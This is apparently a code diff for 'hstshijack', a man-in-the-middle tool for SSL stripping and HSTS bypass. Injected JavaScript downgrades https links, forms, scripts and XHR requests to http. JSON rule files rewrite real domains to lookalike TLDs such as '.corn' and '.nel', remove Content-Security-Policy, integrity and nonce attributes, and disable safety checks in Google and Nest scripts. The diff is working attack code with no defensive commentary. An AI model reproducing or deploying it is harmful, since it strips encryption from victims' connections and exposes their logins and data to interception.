- obf_hstshijack_var_async,
- obf_hstshijack_var_username,
- obf_hstshijack_var_password
- ) {
- var obf_hstshijack_var_url = obf_hstshijack_var_url.replace(/(http)s/ig, "$1");
- return obf_hstshijack_func_open.apply(this, arguments);
- }
- }
+ function obf_hstshijack_func_hook_XMLHttpRequest() {
+ XMLHttpRequest.prototype.open = function(
+ obf_hstshijack_var_method,
+ obf_hstshijack_var_url,
+ obf_hstshijack_var_async,
+ obf_hstshijack_var_username,
+ obf_hstshijack_var_password
+ ) {
+ var obf_hstshijack_var_url = obf_hstshijack_var_url.replace(/(http)s/ig, "$1");
+ return obf_hstshijack_func_open.apply(this, arguments);
+ }
+ }
- function obf_hstshijack_func_hook_nodes() {
- document.querySelectorAll("a,iframe,script,form").forEach(function(obf_hstshijack_var_node){
- try {
- switch (obf_hstshijack_var_node.tagName) {
- case "A":
- if (obf_hstshijack_var_node.href && obf_hstshijack_var_node.href.match(/^\s*https:/i)) {
- obf_hstshijack_var_node.href = obf_hstshijack_var_node.href.replace(/(http)s/i, "$1");
- }
- break;
- case "IFRAME":
- if (obf_hstshijack_var_node.src && obf_hstshijack_var_node.src.match(/^\s*https:/i)) {
- obf_hstshijack_var_node.src = obf_hstshijack_var_node.src.replace(/(http)s/i, "$1");
- }
- break;
- case "SCRIPT":
- if (obf_hstshijack_var_node.src && obf_hstshijack_var_node.src.match(/^\s*https:/i)) {
- obf_hstshijack_var_node.src = obf_hstshijack_var_node.src.replace(/(http)s/i, "$1");
- }
- break;
- case "FORM":
- if (obf_hstshijack_var_node.action && obf_hstshijack_var_node.action.match(/^\s*https:/i)) {
- obf_hstshijack_var_node.action = obf_hstshijack_var_node.action.replace(/(http)s/i, "$1");
- }
- break;
- }
- } catch(obf_hstshijack_var_ignore) {}
- });
- }
+ function obf_hstshijack_func_hook_nodes() {
+ document.querySelectorAll("a,iframe,script,form,link").forEach(function(obf_hstshijack_var_node){
+ try {
+ switch (obf_hstshijack_var_node.tagName) {
+ case "A":
+ if (obf_hstshijack_var_node.href && obf_hstshijack_var_node.href.match(/^\s*https:/i)) {
+ obf_hstshijack_var_node.href = obf_hstshijack_var_node.href.replace(/(http)s/i, "$1");
+ }
+ break;
+ case "IFRAME":
+ if (obf_hstshijack_var_node.src && obf_hstshijack_var_node.src.match(/^\s*https:/i)) {
+ obf_hstshijack_var_node.src = obf_hstshijack_var_node.src.replace(/(http)s/i, "$1");
+ }
+ break;
+ case "SCRIPT":
+ if (obf_hstshijack_var_node.src && obf_hstshijack_var_node.src.match(/^\s*https:/i)) {
+ obf_hstshijack_var_node.src = obf_hstshijack_var_node.src.replace(/(http)s/i, "$1");
+ }
+ break;
+ case "FORM":
+ if (obf_hstshijack_var_node.action && obf_hstshijack_var_node.action.match(/^\s*https:/i)) {
+ obf_hstshijack_var_node.action = obf_hstshijack_var_node.action.replace(/(http)s/i, "$1");
+ }
+ break;
+ case "LINK":
+ if (obf_hstshijack_var_node.href && obf_hstshijack_var_node.href.match(/^\s*https:/i)) {
+ obf_hstshijack_var_node.href = obf_hstshijack_var_node.href.replace(/(http)s/i, "$1");
+ }
+ break;
+ }
+ } catch(obf_hstshijack_var_ignore) {}
+ });
+ }
- try {
- obf_hstshijack_func_hook_XMLHttpRequest();
- } catch(obf_hstshijack_var_ignore) {}
+ try {
+ obf_hstshijack_func_hook_XMLHttpRequest();
+ } catch(obf_hstshijack_var_ignore) {}
- try {
- obf_hstshijack_func_hook_nodes();
- } catch(obf_hstshijack_var_ignore) {}
+ try {
+ obf_hstshijack_func_hook_nodes();
+ } catch(obf_hstshijack_var_ignore) {}
- try {
- obf_hstshijack_func_hook_XMLHttpRequest();
- globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_nodes);
- globalThis.addEventListener("load", obf_hstshijack_func_hook_nodes);
- setInterval(obf_hstshijack_func_hook_nodes, 4000);
- } catch(obf_hstshijack_var_ignore) {}
+ try {
+ obf_hstshijack_func_hook_XMLHttpRequest();
+ globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_nodes);
+ globalThis.addEventListener("load", obf_hstshijack_func_hook_nodes);
+ setInterval(obf_hstshijack_func_hook_nodes, 4000);
+ } catch(obf_hstshijack_var_ignore) {}
})();
diff --git a/hstshijack/replacements/req.Body.json b/hstshijack/replacements/req.Body.json
new file mode 100644
index 0000000..df941b3
--- /dev/null
+++ b/hstshijack/replacements/req.Body.json
@@ -0,0 +1,18 @@
+{
+ "*": [
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]corn([^a-z0-9-.]|$)", "ig", "https$1$2.com$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]nel([^a-z0-9-.]|$)", "ig", "https$1$2.net$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]{0,253})clarity[.]ns([^a-z0-9-.]|$)", "ig", "https$1$2clarity.ms$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]ni([^a-z0-9-.]|$)", "ig", "https$1$2.nl$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]rne([^a-z0-9-.]|$)", "ig", "https$1$2.me$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]googl([^a-z0-9-.]|$)", "ig", "https$1$2.google$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]ch([^a-z0-9-.]|$)", "ig", "https$1$2.cn$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]corn([^a-z0-9-.]|$)", "ig", "wss$1$2.com$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]nel([^a-z0-9-.]|$)", "ig", "wss$1$2.net$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]{0,253})clarity[.]ns([^a-z0-9-.]|$)", "ig", "wss$1$2clarity.ms$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]ni([^a-z0-9-.]|$)", "ig", "wss$1$2.nl$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]rne([^a-z0-9-.]|$)", "ig", "wss$1$2.me$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]googl([^a-z0-9-.]|$)", "ig", "wss$1$2.google$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]ch([^a-z0-9-.]|$)", "ig", "wss$1$2.cn$3"]
+ ]
+}
diff --git a/hstshijack/whitelist.json b/hstshijack/replacements/req.Headers.json
similarity index 100%
rename from hstshijack/whitelist.json
rename to hstshijack/replacements/req.Headers.json
diff --git a/hstshijack/replacements/req.URL.json b/hstshijack/replacements/req.URL.json
new file mode 100644
index 0000000..b8e8731
--- /dev/null
+++ b/hstshijack/replacements/req.URL.json
@@ -0,0 +1,22 @@
+{
+ "path": {},
+ "port": {},
+ "query": {
+ "*": [
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]corn([^a-z0-9-.]|$)", "ig", "https$1$2.com$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]nel([^a-z0-9-.]|$)", "ig", "https$1$2.net$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]{0,253})clarity[.]ns([^a-z0-9-.]|$)", "ig", "https$1$2clarity.ms$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]ni([^a-z0-9-.]|$)", "ig", "https$1$2.nl$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]rne([^a-z0-9-.]|$)", "ig", "https$1$2.me$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]googl([^a-z0-9-.]|$)", "ig", "https$1$2.google$3"],
+ ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]ch([^a-z0-9-.]|$)", "ig", "https$1$2.cn$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]corn([^a-z0-9-.]|$)", "ig", "wss$1$2.com$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]nel([^a-z0-9-.]|$)", "ig", "wss$1$2.net$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]{0,253})clarity[.]ns([^a-z0-9-.]|$)", "ig", "wss$1$2clarity.ms$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]ni([^a-z0-9-.]|$)", "ig", "wss$1$2.nl$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]rne([^a-z0-9-.]|$)", "ig", "wss$1$2.me$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]googl([^a-z0-9-.]|$)", "ig", "wss$1$2.google$3"],
+ ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]ch([^a-z0-9-.]|$)", "ig", "wss$1$2.cn$3"]
+ ]
+ }
+}
diff --git a/hstshijack/replacements/res.Body.json b/hstshijack/replacements/res.Body.json
new file mode 100644
index 0000000..90b12cf
--- /dev/null
+++ b/hstshijack/replacements/res.Body.json
@@ -0,0 +1,50 @@
+{
+ "html": {
+ "*": [
+ ["(['\"`](?:http|ws)|sourceMappingURL=http)s", "ig", "$1"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]net([^a-z0-9-.]|$)", "ig", "$1.nel$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]{0,253})clarity[.]ms([^a-z0-9-.]|$)", "ig", "$1clarity.ns$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]nl([^a-z0-9-.]|$)", "ig", "$1.ni$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]me([^a-z0-9-.]|$)", "ig", "$1.rne$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]google([^a-z0-9-.]|$)", "ig", "$1.googl$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]cn([^a-z0-9-.]|$)", "ig", "$1.ch$2"],
+ [" http-equiv=['\"]?content-security-policy(?:-report-only)?['\"]?([ />])", "ig", "$1"],
+ [" integrity=['\"][^'\"]+['\"]([ />])", "ig", "$1"],
+ [" nonce=[\"][^\"]+['\"]([ />])", "ig", "$1"]
+ ],
+ "home.nest.com": [
+ ["document.domain = ", "g", "//"]
+ ]
+ },
+ "javascript": {
+ "*": [
+ ["((?:['\"`]|sourceMappingURL=)(?:http|ws))s", "ig", "$1"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]net([^a-z0-9-.]|$)", "ig", "$1.nel$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]{0,253})clarity[.]ms([^a-z0-9-.]|$)", "ig", "$1clarity.ns$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]nl([^a-z0-9-.]|$)", "ig", "$1.ni$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]me([^a-z0-9-.]|$)", "ig", "$1.rne$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]google([^a-z0-9-.]|$)", "ig", "$1.googl$2"],
+ ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]cn([^a-z0-9-.]|$)", "ig", "$1.ch$2"]
+ ],
+ "apis.google.com": [
+ ["(V=function\\(a\\)\\{)", "g", "$1if(1)return;"]
+ ],
+ "home.nest.com": [
+ ["(ensureSafe:function\\(e\\)\\{)", "g", "$1if(1)return;"]
+ ]
+ },
+ "json": {
+ "*": [
+ ["(\"(?:http|ws))s", "ig", "$1"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]net([^a-z0-9-.]|$)", "ig", "$1.nel$2"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]{0,253})clarity[.]ms([^a-z0-9-.]|$)", "ig", "$1clarity.ns$2"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]nl([^a-z0-9-.]|$)", "ig", "$1.ni$2"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]me([^a-z0-9-.]|$)", "ig", "$1.rne$2"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]google([^a-z0-9-.]|$)", "ig", "$1.googl$2"],
+ ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]cn([^a-z0-9-.]|$)", "ig", "$1.ch$2"]
+ ]
+ }
+}
diff --git a/hstshijack/replacements/res.Headers.json b/hstshijack/replacements/res.Headers.json
new file mode 100644
index 0000000..abc51ce
--- /dev/null
+++ b/hstshijack/replacements/res.Headers.json
@@ -0,0 +1,3 @@
+{
+ "accounts.google.com": []
+}
diff --git a/hstshijack/session/whitelist.json b/hstshijack/session/whitelist.json
new file mode 100644
index 0000000..0967ef4
--- /dev/null
+++ b/hstshijack/session/whitelist.json
@@ -0,0 +1 @@
+{}
diff --git a/hstshijack/domains.txt b/hstshijack/ssl/domains.txt
similarity index 100%
rename from hstshijack/domains.txt
rename to hstshijack/ssl/domains.txt
diff --git a/hstshijack/index.json b/hstshijack/ssl/index.json
similarity index 75%
rename from hstshijack/index.json
rename to hstshijack/ssl/index.json
index 69a88e3..0967ef4 100644
--- a/hstshijack/index.json
+++ b/hstshijack/ssl/index.json
@@ -1 +1 @@
-{}
+{}